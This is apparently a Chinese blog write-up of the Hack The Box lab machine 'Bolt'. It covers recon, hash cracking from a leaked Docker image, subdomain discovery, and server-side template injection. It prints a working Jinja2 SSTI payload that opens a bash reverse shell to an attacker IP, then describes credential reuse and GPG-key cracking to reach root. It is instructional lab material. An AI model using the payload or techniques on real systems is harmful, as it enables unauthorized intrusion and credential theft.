0x00 前言

Bolt靶机为Linux机器,上线时间为2021年9月25日,难度级别Medium,官方评分4.5,主机IP为:10.10.11.114

0x01 靶机实战

1.1 信息搜集

1)使用nmap进行端口扫描;

开放端口有22、80、443。对端口进行访问,发现80端口搭建有web服务。

2)对目录进行扫描;

扫描到的目录如下图所示,查看之后这些目录为web服务页面模块下的目录。

1.2漏洞探测

1)端口利用

查看80端口开启的web服务页面,发现其使用的是ADMIN LTE进行管理。

对登录页面尝试弱口令登录,不能被成功登录。

此登录点存在注册功能,尝试去注册一个账户登录。

提交完注册请求之后显示服务器内部错误,看来这个注册点无法被利用。

2)目录利用

访问/download目录,这是一个下载页面,可以下载image.tar文件。

将下载下来的文件进行解压后查看,这是一个Docker镜像文件,里面存储了很多的文件。

对文件进行挨个查看之后,在a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2文件夹下的layer文件中发现了数据库文件db.sqlite3

连接此数据库文件进行查看,发现了用户名、邮箱和密码hash

使用join对此hash值进行破解,得到密码:deadbolt

现在我们得到的信息有:账户名为admin、密码为deadbolt和邮箱为admin@bolt.htb,并且邮箱类型为bolt.htb

在登录页面使用得到的账号密码登录,进入到后台页面,并且可以看到这个网站是AdminLTE Flask框架搭建。

对首页进行查看,里面很多功能点都无法使用,但是在首页的对话框中提及到了Docker镜像,并且我们下载的那个文件也是Docker镜像文件,因此推测其可能还存在其他的主机。

接下来我们查找一下子域名看看能不能发现其他的主机,可以看到我们得到了两台主机。

将两台主机添加到hosts文件中。

访问mail.bolt.htb之后发现这是个邮箱系统,利用之前得到的账户名密码登录,不能成功登录。

查看另外一个demo.bolt.htb,发现此页面和80端口的页面是相同的,接着尝试之前的账户密码登录,不能登录。

这个页面的注册点好像是可以注册的,但是需要邀请码。

image文件中查找邀请码,成功获取到邀请码。

有了邀请码之后就可以直接注册登录了。

我们已经知道这个系统使用的是AdminLTE Flask框架,我们可以找找可以传输数据的点,看看可不可以利用SSTI漏洞。

在设置处,我们可以更新我们的个人信息,但是需要邮箱进行验证。

使用刚才注册的账号密码登录邮箱系统,成功登录。

构造语句来验证是否存在SSTI

邮箱系统收到确认名称的邮件,点击之后会收到修改成功的邮件,上面显示了我们输入的结果。

可以确定存在SSTI了。

3)漏洞利用

构造语句进行反弹shell

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('/bin/bash -c "bash -i >& /dev/tcp/10.10.14.28/5555 0>&1"').read() }}

使用nc在本地开启监听5555端口,成功反弹回shell

可以看到我们现在的权限是服务器的权限,我们需要将权限提升到用户权限。

1.3权限提升

1)将权限提升至用户权限

查看具有bash权限的用户,可以看到除了root用户之外还有两个其他的用户EddieClak都可以被用于登录。

这里我们借助linpeas提权辅助脚本,查看当前服务器有无可以利用的点。

这里我们可以看到有一个组可以写入文件。

这里我们先切换到passbolt目录下,查看一下此目录下的文件,发现存在一些php文件。

passbolt.php文件中,得到了数据库名和密码。

直接登录此数据库。

在数据库中查看用户信息,未发现密码信息。

但是在查看表名的时候发现有一个secrets表,里面有一些信息,但是我们没有私钥无法解密此信息。我们先将其复制出来保存为gpg.asc文件,看之后会不会有用。

至此我们算是步入了僵局,整理已知信息,我们有两个可以用于登录的用户名,知道数据库名和密码,并且还有一个加密信息。

尝试使用已知的用户名和数据库的密码登录,发现可以登录成功。

现在我们获取到了user的权限。

2)将普通用户权限提升至root权限

继续使用linpeas辅助提权脚本,查看有无可利用的点。

可以发现有一个和当前用户的邮箱文件,还有几个密码和key的文件。

我们先查看一下邮件文件,邮件中有提示需要备份一下私钥,我们需要查找一下私钥文件。

这里查看一下/home/eddie/gpg.key文件,这可能就是我们的私钥文件了。

将私钥文件复制出来保存,然后使用gpg2john将其转换成hash格式。

可以看到已经将其转化成hash格式了,然后使用hash破解的工具将私钥解密出来,我们得到了私钥:merrychristmas

现在我们可以尝试解密一下passbolt数据库中得到的加密信息。首先,我们要导入eddie的账户的私钥。

导入私钥之后,尝试解密之前的加密信息。

解密之后我们得到一个密码。使用此密码登录root用户,成功获取到root权限。

0x02总结

此靶机难度不是很高,首先利用源码文件得到了登录的账户名密码,后续发现存在其他主机,登录其他主机之后通过SSTI漏洞拿到的权限又只是服务器的权限,需要提权到普通用户,提权到普通用户之后,又需要通过解密OpenPGP的公钥私钥拿到密码,获取到root权限。

posted on 2022-04-07 10:06  herbmint  阅读(530)  评论(0)    收藏  举报